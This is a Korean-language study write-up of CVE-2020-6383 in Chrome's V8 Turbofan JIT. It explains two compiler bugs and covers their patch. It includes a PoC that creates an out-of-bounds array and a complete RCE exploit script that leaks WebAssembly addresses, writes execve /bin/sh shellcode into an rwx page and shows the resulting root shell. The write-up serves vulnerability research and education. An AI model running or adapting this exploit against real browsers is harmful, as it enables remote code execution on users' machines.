CVE-2020-6383 Analysis

CVE-2020-6383 Analysis

Created
4/4/2021, 6:53:00 AM
Last edited
4/30/2021, 9:32:00 AM
Tags
Pwn
Browser
V8

Intro

이번 달은 Brower Exploit을 주제로 공부하기로 마음먹고 공부하고 있습니다!
Brower Exploit의 기본적인 개념은 다음과 같습니다.
Brower는 크게 Renderer Engine과 Javascript Engine으로 구성되어 있습니다.
이러한 Engine들은 일종의 Sandbox 형태로 구현되어 있는데, 웹에 접속을 할 시 작동하기 때문에 웹에 접속하는 것만으로도 시스템에 악영향이 가는 것을 방지하기 위함입니다.
여기서 이런 Engine들이 구현될 때 발생하는 취약점을 이용해 Sandbox를 탈출하는 것이 Browser exploit의 목적이라고 할 수 있습니다.
V8은 Chrome Browser에서 사용하는 Javascript Engine입니다. 일반적으로 Javascript Engine에서는 자바스크립트의 동작 속도를 빠르게 하기 위해 JIT (Just-In-Time), 즉, 실시간으로 코드를 최적화하고 컴파일하는 컴파일러를 사용하는데, 여기서 취약점이 많이 발생합니다. 이 글에서 분석하는 취약점도 Chrome의 JIT 컴파일러인 Turbofan에서 발생하는 취약점입니다.
BoB 9기 과제 중 이 CVE를 분석하고 보고서를 작성하는 과제가 있었다고 들어서 저도 한 번 도전해 봤습니다 ㅎㅎ
분석에 앞서, 분석 환경 세팅은 아래 명령어로 할 수 있습니다.
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git export PATH=`pwd`/depot_tools:"$PATH" fetch v8 pushd v8 git checkout 73f88b5f69077ef33169361f884f31872a6d56ac gclient sync build/install-build-deps.sh tools/dev/gm.py x64.release popd
Bash

Analysis

compiler/typer.cc: Typer::Visitor::TypeInductionVariablePhi

첫 번째 취약점은 compiler/typer.ccTyper::Visitor::TypeInductionVariablePhi 함수에서 발생합니다.
compiler/typer.cc 에는 V8에서 JIT 컴파일 시 Type을 추론하여 최적화하기 위한 코드가 작성되어 있습니다.
Typer::Visitor::TypeInductionVariablePhi 함수는 for 문에서 Induction Variable, 흔히 i라고 자주 쓰는 유도 변수의 Type을 최적화하는 함수입니다.
해당 함수의 전체 소스 코드는 다음과 같습니다.
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) { int arity = NodeProperties::GetControlInput(node)->op()->ControlInputCount(); DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode()); DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount()); auto res = induction_vars_->induction_variables().find(node->id()); DCHECK(res != induction_vars_->induction_variables().end()); InductionVariable* induction_var = res->second; InductionVariable::ArithmeticType arithmetic_type = induction_var->Type(); Type initial_type = Operand(node, 0); Type increment_type = Operand(node, 2); const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) && increment_type.Is(typer_->cache_->kInteger); bool maybe_nan = false; // The addition or subtraction could still produce a NaN, if the integer // ranges touch infinity. if (both_types_integer) { Type resultant_type = (arithmetic_type == InductionVariable::ArithmeticType::kAddition) ? typer_->operation_typer()->NumberAdd(initial_type, increment_type) : typer_->operation_typer()->NumberSubtract(initial_type, increment_type); maybe_nan = resultant_type.Maybe(Type::NaN()); } // We only handle integer induction variables (otherwise ranges // do not apply and we cannot do anything). if (!both_types_integer || maybe_nan) { // Fallback to normal phi typing, but ensure monotonicity. // (Unfortunately, without baking in the previous type, monotonicity might // be violated because we might not yet have retyped the incrementing // operation even though the increment's type might been already reflected // in the induction variable phi.) Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node) : Type::None(); for (int i = 0; i < arity; ++i) { type = Type::Union(type, Operand(node, i), zone()); } return type; } // If we do not have enough type information for the initial value or // the increment, just return the initial value's type. if (initial_type.IsNone() || increment_type.Is(typer_->cache_->kSingletonZero)) { return initial_type; } // Now process the bounds. double min = -V8_INFINITY; double max = V8_INFINITY; double increment_min; double increment_max; if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) { increment_min = increment_type.Min(); increment_max = increment_type.Max(); } else { DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type); increment_min = -increment_type.Max(); increment_max = -increment_type.Min(); } if (increment_min >= 0) { // increasing sequence min = initial_type.Min(); for (auto bound : induction_var->upper_bounds()) { Type bound_type = TypeOrNone(bound.bound); // If the type is not an integer, just skip the bound. if (!bound_type.Is(typer_->cache_->kInteger)) continue; // If the type is not inhabited, then we can take the initial value. if (bound_type.IsNone()) { max = initial_type.Max(); break; } double bound_max = bound_type.Max(); if (bound.kind == InductionVariable::kStrict) { bound_max -= 1; } max = std::min(max, bound_max + increment_max); } // The upper bound must be at least the initial value's upper bound. max = std::max(max, initial_type.Max()); } else if (increment_max <= 0) { // decreasing sequence max = initial_type.Max(); for (auto bound : induction_var->lower_bounds()) { Type bound_type = TypeOrNone(bound.bound); // If the type is not an integer, just skip the bound. if (!bound_type.Is(typer_->cache_->kInteger)) continue; // If the type is not inhabited, then we can take the initial value. if (bound_type.IsNone()) { min = initial_type.Min(); break; } double bound_min = bound_type.Min(); if (bound.kind == InductionVariable::kStrict) { bound_min += 1; } min = std::max(min, bound_min + increment_min); } // The lower bound must be at most the initial value's lower bound. min = std::min(min, initial_type.Min()); } else { // Shortcut: If the increment can be both positive and negative, // the variable can go arbitrarily far, so just return integer. return typer_->cache_->kInteger; } if (FLAG_trace_turbo_loop) { StdoutStream{} << std::setprecision(10) << "Loop (" << NodeProperties::GetControlInput(node)->id() << ") variable bounds in " << (arithmetic_type == InductionVariable::ArithmeticType::kAddition ? "addition" : "subtraction") << " for phi " << node->id() << ": (" << min << ", " << max << ")\n"; } return Type::Range(min, max, typer_->zone()); }
C++
compiler/typer.cc:845
이제 이 함수를 자세히 분석해보도록 하겠습니다.
int arity = NodeProperties::GetControlInput(node)->op()->ControlInputCount(); DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode()); DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount()); auto res = induction_vars_->induction_variables().find(node->id()); DCHECK(res != induction_vars_->induction_variables().end()); InductionVariable* induction_var = res->second; InductionVariable::ArithmeticType arithmetic_type = induction_var->Type(); Type initial_type = Operand(node, 0); Type increment_type = Operand(node, 2);
C++
이 부분에서는 함수에서 사용할 사용할 변수들을 선언하고 값을 할당하는 것을 볼 수 있으며, 취약점 분석에 필요한 변수들을 정리하면 다음과 같습니다.
initial_type : 반복문에서의 유도 변수의 초기값의 Type을 의미합니다.
increment_type : 반복문에서의 유도 변수의 증감값의 Type을 의미합니다.
arithmetic_type : 반복문에서의 유도 변수의 증감을 의미합니다.
const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) && increment_type.Is(typer_->cache_->kInteger);
C++
Type const kInteger = CreateRange(-V8_INFINITY, V8_INFINITY);
C++
compiler/type-cache.h:69
both_types_integer 변수는 initial_typeincrement_type이 모두 kInteger형인지를 나타내며, kInteger Type은 compiler/type-cache.h 에서 Range(-Inf, Inf)를 나타냄을 알 수 있습니다.
bool maybe_nan = false; // The addition or subtraction could still produce a NaN, if the integer // ranges touch infinity. if (both_types_integer) { Type resultant_type = (arithmetic_type == InductionVariable::ArithmeticType::kAddition) ? typer_->operation_typer()->NumberAdd(initial_type, increment_type) : typer_->operation_typer()->NumberSubtract(initial_type, increment_type); maybe_nan = resultant_type.Maybe(Type::NaN()); }
C++
주석에 설명되어있듯이, -Inf + Inf 와 같이 kInteger Type끼리 연산을 해도 kInteger Type이 아닌 NaN Type이 나올 수 있기 때문에 arithmetic_type에 의해 initial_typeincrement_type 을 더하거나 뺐을 때 NaN Type이 나올 수 있는지를 maybe_nan변수가 나타냅니다.
// We only handle integer induction variables (otherwise ranges // do not apply and we cannot do anything). if (!both_types_integer || maybe_nan) { // Fallback to normal phi typing, but ensure monotonicity. // (Unfortunately, without baking in the previous type, monotonicity might // be violated because we might not yet have retyped the incrementing // operation even though the increment's type might been already reflected // in the induction variable phi.) Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node) : Type::None(); for (int i = 0; i < arity; ++i) { type = Type::Union(type, Operand(node, i), zone()); } return type; }
C++
결과적으로 both_types_integer이 false거나, maybe_nan이 true라면 더 이상 Type을 추론할 수 없다고 인식하고 Node의 Type과 Operand의 모든 Type을 Union하여 return합니다.
// If we do not have enough type information for the initial value or // the increment, just return the initial value's type. if (initial_type.IsNone() || increment_type.Is(typer_->cache_->kSingletonZero)) { return initial_type; }
C++
Type const kSingletonZero = CreateRange(0.0, 0.0);
C++
compiler/type-cache.h:49
initial_typeNone Type이거나, increment_typekSingletonZero Type이라면 initial_type을 그대로 return합니다.
kSingletonZeroType은 compiler/type-cache.h 에서 Range(0.0, 0.0), 즉, 0을 나타내며, 위 조건문에서는 증감값이 0인지를 검사하는 것입니다.
// Now process the bounds. double min = -V8_INFINITY; double max = V8_INFINITY; double increment_min; double increment_max; if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) { increment_min = increment_type.Min(); increment_max = increment_type.Max(); } else { DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type); increment_min = -increment_type.Max(); increment_max = -increment_type.Min(); }
C++
minmax 변수는 후에 최적화를 진행하여 결과값의 범위를 지정할 때 사용할 변수이며,
increment_minincrement_max변수는 각각 increment의 최소, 최대값을 나타냅니다.
if (increment_min >= 0) { // increasing sequence min = initial_type.Min(); for (auto bound : induction_var->upper_bounds()) { Type bound_type = TypeOrNone(bound.bound); // If the type is not an integer, just skip the bound. if (!bound_type.Is(typer_->cache_->kInteger)) continue; // If the type is not inhabited, then we can take the initial value. if (bound_type.IsNone()) { max = initial_type.Max(); break; } double bound_max = bound_type.Max(); if (bound.kind == InductionVariable::kStrict) { bound_max -= 1; } max = std::min(max, bound_max + increment_max); } // The upper bound must be at least the initial value's upper bound. max = std::max(max, initial_type.Max()); } else if (increment_max <= 0) { // decreasing sequence max = initial_type.Max(); for (auto bound : induction_var->lower_bounds()) { Type bound_type = TypeOrNone(bound.bound); // If the type is not an integer, just skip the bound. if (!bound_type.Is(typer_->cache_->kInteger)) continue; // If the type is not inhabited, then we can take the initial value. if (bound_type.IsNone()) { min = initial_type.Min(); break; } double bound_min = bound_type.Min(); if (bound.kind == InductionVariable::kStrict) { bound_min += 1; } min = std::max(min, bound_min + increment_min); } // The lower bound must be at most the initial value's lower bound. min = std::min(min, initial_type.Min()); } else { // Shortcut: If the increment can be both positive and negative, // the variable can go arbitrarily far, so just return integer. return typer_->cache_->kInteger; } if (FLAG_trace_turbo_loop) { StdoutStream{} << std::setprecision(10) << "Loop (" << NodeProperties::GetControlInput(node)->id() << ") variable bounds in " << (arithmetic_type == InductionVariable::ArithmeticType::kAddition ? "addition" : "subtraction") << " for phi " << node->id() << ": (" << min << ", " << max << ")\n"; } return Type::Range(min, max, typer_->zone()); }
C++
여기서 increment_min이 0보다 작지 않거나, increment_max가 0보다 크지 않다면 특정 로직에 따라
결과값의 범위를 계산하여 return하는 것을 알 수 있습니다.
하지만 위 두 조건문을 만족하지 않는다면 그냥 kInteger Type을 return하는 것을 알 수 있습니다.
여기서 주목해봐야할 점은 크게 두 가지가 있습니다.
NaN Type 검사를 초반에 한 번만 한다는 점
맨 마지막에 kInteger Type을 return한다는 점
이 두 가지를 이용하여 Type Confusion을 일으킬 수 있는데, 방법은 다음과 같습니다.
for문의 유도변수 i의 초기값을 상수인 0으로 설정합니다.
for문의 증감값을 -Inf 값을 가지고 있는 변수 x로 설정하고, Loop가 한 번 이상 진행된 후 반복문 내부에서 x값을 +Inf로 설정합니다.
여기서 위 방법을 통해 Type Confusion을 발생시키는 원리는 다음과 같습니다.
initial_type은 초기값이 상수 0이므로 Range(0, 0)일 것입니다.
increment_type은 증감값이 -Inf 값을 가지고 있었다가 +Inf 값이 되니 Range(-Inf, Inf)일 것입니다.
initial_typeincrement_type이 모두 다 kInteger Type이므로 both_types_integer는 true가 될 것입니다.
initial_typeincrement_type을 서로 더하거나 빼도 NaN Type은 나오지 않으므로, maybe_nan은 false가 될 것입니다.
그러므로 초반 조건문을 만족하지 않아 통과할 수 있을 것입니다.
increment_type의 최솟값은 -Inf, 최댓값은 Inf이므로, 마지막 두 조건문을 만족하지 않아 결국 kInteger Type이 return될 것입니다.
하지만 실제 반복문에서 i의 값은 0 → -Inf → NaN 으로 kInteger Type이 아닌 NaN Type이 될 수 있으므로, Type Confusion이 발생합니다.
위 방법을 코드로 나타내면 다음과 같습니다.
var x = -Infinity; for (var i = 0; i < 1; i += x) { if (i == 0) continue; // (1) x = -Infinity, i = 0 - Infinity = -Infinity else if (i == -Infinity) x = +Infinity; // (2) x = +Infinity, i = -Infinity + Infinity = NaN else break; // (3) escape } // inference: Range(-Inf, Inf) / reality: NaN
JavaScript
실제로 위와 같은 코드를 함수화한 후 최적화한 뒤, Turbolizer로 분석해보면 i의 Type을 Range(-Inf, Inf)로 추론하고 있음을 알 수 있습니다.

compiler/js-create-lowering.cc: JSCreateLowering::ReduceJSCreateArray

두 번째 취약점은 compiler/js-create-lowering.ccJSCreateLowering::ReduceJSCreateArray 함수에서 발생합니다.
compiler/js-create-lowering.cc 에는 각종 Object의 생성을 최적화하는 코드가 작성되어 있습니다.
JSCreateLowering::ReduceJSCreateArray 함수는 Array() 함수를 통한 배열의 생성을 최적화하는 함수입니다.
해당 함수의 전체 소스 코드는 다음과 같습니다.
Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) { DCHECK_EQ(IrOpcode::kJSCreateArray, node->opcode()); CreateArrayParameters const& p = CreateArrayParametersOf(node->op()); int const arity = static_cast<int>(p.arity()); base::Optional<AllocationSiteRef> site_ref; { Handle<AllocationSite> site; if (p.site().ToHandle(&site)) { site_ref = AllocationSiteRef(broker(), site); } } AllocationType allocation = AllocationType::kYoung; base::Optional<MapRef> initial_map = NodeProperties::GetJSCreateMap(broker(), node); if (!initial_map.has_value()) return NoChange(); Node* new_target = NodeProperties::GetValueInput(node, 1); JSFunctionRef original_constructor = HeapObjectMatcher(new_target).Ref(broker()).AsJSFunction(); SlackTrackingPrediction slack_tracking_prediction = dependencies()->DependOnInitialMapInstanceSizePrediction( original_constructor); // Tells whether we are protected by either the {site} or a // protector cell to do certain speculative optimizations. bool can_inline_call = false; // Check if we have a feedback {site} on the {node}. ElementsKind elements_kind = initial_map->elements_kind(); if (site_ref) { elements_kind = site_ref->GetElementsKind(); can_inline_call = site_ref->CanInlineCall(); allocation = dependencies()->DependOnPretenureMode(*site_ref); dependencies()->DependOnElementsKind(*site_ref); } else { PropertyCellRef array_constructor_protector( broker(), factory()->array_constructor_protector()); can_inline_call = array_constructor_protector.value().AsSmi() == Protectors::kProtectorValid; } if (arity == 0) { Node* length = jsgraph()->ZeroConstant(); int capacity = JSArray::kPreallocatedArrayElements; return ReduceNewArray(node, length, capacity, *initial_map, elements_kind, allocation, slack_tracking_prediction); } else if (arity == 1) { Node* length = NodeProperties::GetValueInput(node, 2); Type length_type = NodeProperties::GetType(length); if (!length_type.Maybe(Type::Number())) { // Handle the single argument case, where we know that the value // cannot be a valid Array length. elements_kind = GetMoreGeneralElementsKind( elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS : PACKED_ELEMENTS); return ReduceNewArray(node, std::vector<Node*>{length}, *initial_map, elements_kind, allocation, slack_tracking_prediction); } if (length_type.Is(Type::SignedSmall()) && length_type.Min() >= 0 && length_type.Max() <= kElementLoopUnrollLimit && length_type.Min() == length_type.Max()) { int capacity = static_cast<int>(length_type.Max()); return ReduceNewArray(node, length, capacity, *initial_map, elements_kind, allocation, slack_tracking_prediction); } if (length_type.Maybe(Type::UnsignedSmall()) && can_inline_call) { return ReduceNewArray(node, length, *initial_map, elements_kind, allocation, slack_tracking_prediction); } } else if (arity <= JSArray::kInitialMaxFastElementArray) { // Gather the values to store into the newly created array. bool values_all_smis = true, values_all_numbers = true, values_any_nonnumber = false; std::vector<Node*> values; values.reserve(p.arity()); for (int i = 0; i < arity; ++i) { Node* value = NodeProperties::GetValueInput(node, 2 + i); Type value_type = NodeProperties::GetType(value); if (!value_type.Is(Type::SignedSmall())) { values_all_smis = false; } if (!value_type.Is(Type::Number())) { values_all_numbers = false; } if (!value_type.Maybe(Type::Number())) { values_any_nonnumber = true; } values.push_back(value); } // Try to figure out the ideal elements kind statically. if (values_all_smis) { // Smis can be stored with any elements kind. } else if (values_all_numbers) { elements_kind = GetMoreGeneralElementsKind( elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_DOUBLE_ELEMENTS : PACKED_DOUBLE_ELEMENTS); } else if (values_any_nonnumber) { elements_kind = GetMoreGeneralElementsKind( elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS : PACKED_ELEMENTS); } else if (!can_inline_call) { // We have some crazy combination of types for the {values} where // there's no clear decision on the elements kind statically. And // we don't have a protection against deoptimization loops for the // checks that are introduced in the call to ReduceNewArray, so // we cannot inline this invocation of the Array constructor here. return NoChange(); } return ReduceNewArray(node, values, *initial_map, elements_kind, allocation, slack_tracking_prediction); return NoChange(); }
C++
compiler/js-create-lowering.cc:611
이제 이 함수를 자세히 분석해보겠습니다.
DCHECK_EQ(IrOpcode::kJSCreateArray, node->opcode()); CreateArrayParameters const& p = CreateArrayParametersOf(node->op()); int const arity = static_cast<int>(p.arity()); base::Optional<AllocationSiteRef> site_ref; { Handle<AllocationSite> site; if (p.site().ToHandle(&site)) { site_ref = AllocationSiteRef(broker(), site); } } AllocationType allocation = AllocationType::kYoung; base::Optional<MapRef> initial_map = NodeProperties::GetJSCreateMap(broker(), node); if (!initial_map.has_value()) return NoChange(); Node* new_target = NodeProperties::GetValueInput(node, 1); JSFunctionRef original_constructor = HeapObjectMatcher(new_target).Ref(broker()).AsJSFunction(); SlackTrackingPrediction slack_tracking_prediction = dependencies()->DependOnInitialMapInstanceSizePrediction( original_constructor); // Tells whether we are protected by either the {site} or a // protector cell to do certain speculative optimizations. bool can_inline_call = false; // Check if we have a feedback {site} on the {node}. ElementsKind elements_kind = initial_map->elements_kind(); if (site_ref) { elements_kind = site_ref->GetElementsKind(); can_inline_call = site_ref->CanInlineCall(); allocation = dependencies()->DependOnPretenureMode(*site_ref); dependencies()->DependOnElementsKind(*site_ref); } else { PropertyCellRef array_constructor_protector( broker(), factory()->array_constructor_protector()); can_inline_call = array_constructor_protector.value().AsSmi() == Protectors::kProtectorValid; }
C++
초반 부분은 최적화를 진행하는데 필요한 여러 변수들을 정의하고 값을 저장하는 것을 알 수 있습니다.
여기서 취약점 분석에 필요한 arity 변수는 Array() 함수로 준 인자의 개수를 나타냅니다.
아래부터는 이제 arity 변수의 값, 즉, Array() 함수로 준 인자의 개수가 몇 개인지에 따라 최적화를 진행하는 것을 알 수 있는데, 여기서 취약점이 발생하는 arity가 1일 경우를 자세히 분석해보겠습니다.
else if (arity == 1) { Node* length = NodeProperties::GetValueInput(node, 2); Type length_type = NodeProperties::GetType(length);
C++
Array() 함수에 인자를 1개 주게 되는 경우는 Array(5) 와 같이 특정 크기의 빈 배열을 생성하는 경우가 있습니다.
이때 위의 length 변수가 인자로 준 배열의 크기를 나타내며, length_type 변수는 해당 length 변수의 Type을 나타냅니다.
if (!length_type.Maybe(Type::Number())) { // Handle the single argument case, where we know that the value // cannot be a valid Array length. elements_kind = GetMoreGeneralElementsKind( elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS : PACKED_ELEMENTS); return ReduceNewArray(node, std::vector<Node*>{length}, *initial_map, elements_kind, allocation, slack_tracking_prediction); }
C++
Reduction JSCreateLowering::ReduceNewArray( Node* node, std::vector<Node*> values, MapRef initial_map, ElementsKind elements_kind, AllocationType allocation, const SlackTrackingPrediction& slack_tracking_prediction)
C++
compiler/js-create-lowering.cc:553
length_typeNumber Type이 아니라면, 유효한 length가 아니므로 이를 배열의 크기가 아닌 하나의 배열의 원소로서 ReduceNewArray 함수의 인자로 넘겨줍니다. 이때 ReduceNewArray 함수는 주어진 원소들을 가지고 배열을 생성하는 함수입니다.
Array({x : 1}) 이 이런 경우입니다.
if (length_type.Is(Type::SignedSmall()) && length_type.Min() >= 0 && length_type.Max() <= kElementLoopUnrollLimit && length_type.Min() == length_type.Max()) { int capacity = static_cast<int>(length_type.Max()); return ReduceNewArray(node, length, capacity, *initial_map, elements_kind, allocation, slack_tracking_prediction); }
C++
// When initializing arrays, we'll unfold the loop if the number of // elements is known to be of this type. const int kElementLoopUnrollLimit = 16;
C++
compiler/js-create-lowering.cc:47
// Constructs an array with a variable {length} when an actual // upper bound is known for the {capacity}. Reduction JSCreateLowering::ReduceNewArray( Node* node, Node* length, int capacity, MapRef initial_map, ElementsKind elements_kind, AllocationType allocation, const SlackTrackingPrediction& slack_tracking_prediction)
C++
compiler/js-create-lowering.cc:507
위 조건문은 length_typeSignedSmall Type이고, 최솟값이 0보다 크거나 같고, 최댓값이 kElementLoopUnrollLimit 보다 작거나 같고, 최솟값과 최댓값이 같다면 참이 됩니다. 여기서kElementLoopUnrollLimitcompiler/js-create-lowering.cc 에서 상수 16을 나타내고 있습니다. 정리해서 위 조건문은 length_type이 0보다 크거나 같고 16보다 작거나 같은 고정값인지를 확인하고 있는 것입니다.
조건문이 참이라면, length_type의 최댓값을 capacity 변수에 저장하고 ReduceNewArray 함수에 인자로 넘겨줍니다. 이때 ReduceNewArray 함수는 크기가 capacity 이고 길이가 length인 배열을 생성하는 함수입니다.
Array(5) 와 같은 경우가 이런 경우입니다.
if (length_type.Maybe(Type::UnsignedSmall()) && can_inline_call) { return ReduceNewArray(node, length, *initial_map, elements_kind, allocation, slack_tracking_prediction); }
C++
// Constructs an array with a variable {length} when no upper bound // is known for the capacity. Reduction JSCreateLowering::ReduceNewArray( Node* node, Node* length, MapRef initial_map, ElementsKind elements_kind, AllocationType allocation, const SlackTrackingPrediction& slack_tracking_prediction)
C++
compiler/js-create-lowering.cc:458
length_typeUnsignedSmall Type이고 can_inline_call이 true라면, lengthReduceNewArray 함수의 인자로 넘겨줍니다. 이때 ReduceNewArray 함수는 크기가 정해지지 않고 길이가 length인 배열을 생성하는 함수입니다.
Array(100) 이 이런 경우입니다.
여기서 취약점이 생기는 부분은 위의 두 번째 ReduceNewArray 함수를 호출하는 부분입니다.
주목해봐야할 점은 배열의 실제 크기가 될 capacitylength_type을 통해 설정한다는 것입니다. 앞 앞서 compiler/typer.cc: Typer::Visitor::TypeInductionVariablePhi에서 일어나는 Type Confusion으로 인해 capacity보다 length가 커질 수 있고, 이는 OOB 취약점으로 이어질 수 있습니다.
이를 코드로 나타내보면 다음과 같습니다.
// inference = Range(-Inf, Inf) / reality = NaN i = Math.max(i, 1024); // inference = Range(1024, Inf) / reality = NaN i = -i; // inference = Range(-Inf, -1024) / reality = -NaN i = Math.max(i, -1025); // inference = Range(-1025, -1024) / reality = -NaN // ChangeFloat64ToInt32 - -NaN -> 0 i = -i; // inference = Range(1024, 1025) / reality = 0 i -= 1022; // inference = Range(2, 3) / reality = -1022 (0x7ffffc02) i >>= 1; // inference = Range(1, 1) / reality = 1073741313 (0x3ffffe01) i += 10; // inference = Range(11, 11) / reality = 1073741323 (0x3ffffe0b) var arr = Array(i) // capacity = 11 / length = 1073741323 (OOB) arr[0] = 1.1; return arr;
C++
실제로 Turbolizer로 확인해보면 Array의 elements의 length에는 22가 저장되는 것을 볼 수 있습니다.
Pointer Compression으로 인해 SMI 값은 모두 1번 Shift Left 된 상태이기 때문에 실제 값은 11이라고 할 수 있습니다.
또한, 위에서 설명한 대로 Type 추론이 Range(11, 11)로 된 것을 볼 수 있으며, 이 값을 Array의 length에 그대로 저장하는 것을 볼 수 있습니다.

PoC Code

위에 설명한 두 취약점을 이용하여 OOB Array를 생성하는 PoC 코드를 작성하면 다음과 같습니다.
function foo() { var x = -Infinity; for (var i = 0; i < 1; i += x) { if (i == 0) continue; else if (i == -Infinity) x = +Infinity; else break; } i = Math.max(i, 1024); i = -i; i = Math.max(i, -1025); i = -i; i -= 1022; i >>= 1; i += 10; var arr = Array(i); arr[0] = 1.1; return arr; }; for (let i = 0; i < 100000; i++) foo(); var oob = foo(); console.log(oob[11]);
JavaScript
poc.js
실제로 위 코드를 작동시켜보면 성공적으로 OOB Array를 생성할 수 있다는 것을 알 수 있습니다.
root@n1net4il ~/study-browser/cve-2020-6383 ❯ ./d8 poc.js 4.67503498794e-313
Plain Text

Exploit (RCE)

OOB Array를 생성했기 때문에 일반적인 RCE 공격 시나리오는 다음과 같습니다.
Boxed Array를 이용하여 WebAssembly Instance의 address leak
ArrayBuffer의 backing store을 WebAssembly Instance의 address로 덮어 rwx page address leak
ArrayBuffer의 backing store을 rwx page의 address로 덮어 shellcode 작성
WebAssembly function을 호출하여 shellcode 실행
하지만, 해당 V8 버전은 Pointer Compression을 사용하고 있기 때문에 위와 같은 방법으로는 RCE를 성공시킬 수 없습니다.
Pointer Compression에 대해서는 나중에 자세히 다루도록 하겠습니다. 간단히 말해 8byte로 이루어진 Pointer에서 상위 4byte의 Base은 따로 저장하고 하위 4byte의 Offset만 표현하는 방식입니다.
예를 들어, 0x0000bbbb12345679의 Pointer가 있다면 메모리 상에서는 하위 4byte인 0x12345679의 Offset만 표현된다는 것입니다.
그러므로 address를 leak한다고 해도 Offset만을 얻을 수 있다는 것입니다. 그래서 위의 공격 시나리오에서 두 번째 단계로 ArrayBuffer의 backing store를 덮어 rwx page address를 leak하는 것이 불가능합니다. ArrayBuffer의 backing store은 8byte의 온전한 address를 요구하기 때문입니다.
그래서 수정한 RCE 공격 시나리오는 다음과 같습니다.
Boxed Array를 이용하여 WebAssembly Instance의 offset leak
Unboxed Array의 elements를 WebAssembly Instance의 offset으로 덮어 rwx page address leak
ArrayBuffer의 backing store을 rwx page의 address로 덮어 shellcode 작성
WebAssembly function을 호출하여 shellcode 실행
위 시나리오를 코드로 구현하면 아래와 같습니다.
var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(value) { f64_buf[0] = value; return BigInt(u64_buf[0]) | (BigInt(u64_buf[1]) << 32n); } function itof(value) { u64_buf[0] = Number(value & 0xffffffffn); u64_buf[1] = Number(value >> 32n); return f64_buf[0]; } function foo() { var x = -Infinity; for (var i = 0; i < 1; i += x) { if (i == 0) continue; else if (i == -Infinity) x = +Infinity; else break; } i = Math.max(i, 1024); i = -i; i = Math.max(i, -1025); i = -i; i -= 1022; i >>= 1; i += 10; var arr = Array(i); arr[0] = 1.1; return arr; }; for (var i=0; i<100000; i++) foo(); var oob = foo(); var obj = {'A' : 1}; var obj_arr = [obj]; var ar_arr = [1.1, 1.2, 1.3, 1.4]; var aw_buf = new ArrayBuffer(0x100); var aw_dv = new DataView(aw_buf); var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasm_module = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_module); var wasm_function = wasm_instance.exports.main; obj_arr[0] = wasm_instance; var wasm_instance_offset = ftoi(oob[22]) & 0xffffffffn; oob[28] = itof(((wasm_instance_offset + 0x68n - 8n) << 32n) | (ftoi(oob[28]) & 0xffffffffn)); var rwx_page_addr = ftoi(ar_arr[0]); oob[38] = itof(rwx_page_addr); var shellcode = [49, 246, 72, 187, 47, 98, 105, 110, 47, 47, 115, 104, 86, 83, 84, 95, 106, 59, 88, 49, 210, 15, 5]; for (var i=0; i<shellcode.length; i++) aw_dv.setUint8(i, shellcode[i]); wasm_function();
JavaScript
exploit.js
실제로 위 코드를 작동시켜보면 아래와 같이 성공적으로 RCE를 할 수 있습니다.
root@n1net4il ~/study-browser/cve-2020-6383 ❯ ./d8 exploit.js # id uid=0(root) gid=0(root) groups=0(root) #
Plain Text

Patch

이제 위 취약점들이 어떻게 패치되었는지 알아보도록 하겠습니다.

compiler/typer.cc: Typer::Visitor::TypeInductionVariablePhi

이 취약점은 a2e971c56d1c46f7c71ccaf33057057308cc8484 commit으로 인해 패치가 되었습니다.
이전 commit과의 diff를 보면 다음과 같습니다.
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index 14ec856..4e86b96 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -847,30 +847,24 @@ DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode()); DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount()); - auto res = induction_vars_->induction_variables().find(node->id()); - DCHECK(res != induction_vars_->induction_variables().end()); - InductionVariable* induction_var = res->second; - InductionVariable::ArithmeticType arithmetic_type = induction_var->Type(); Type initial_type = Operand(node, 0); Type increment_type = Operand(node, 2); - const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) && - increment_type.Is(typer_->cache_->kInteger); - bool maybe_nan = false; - // The addition or subtraction could still produce a NaN, if the integer - // ranges touch infinity. - if (both_types_integer) { - Type resultant_type = - (arithmetic_type == InductionVariable::ArithmeticType::kAddition) - ? typer_->operation_typer()->NumberAdd(initial_type, increment_type) - : typer_->operation_typer()->NumberSubtract(initial_type, - increment_type); - maybe_nan = resultant_type.Maybe(Type::NaN()); + // If we do not have enough type information for the initial value or + // the increment, just return the initial value's type. + if (initial_type.IsNone() || + increment_type.Is(typer_->cache_->kSingletonZero)) { + return initial_type; } - // We only handle integer induction variables (otherwise ranges - 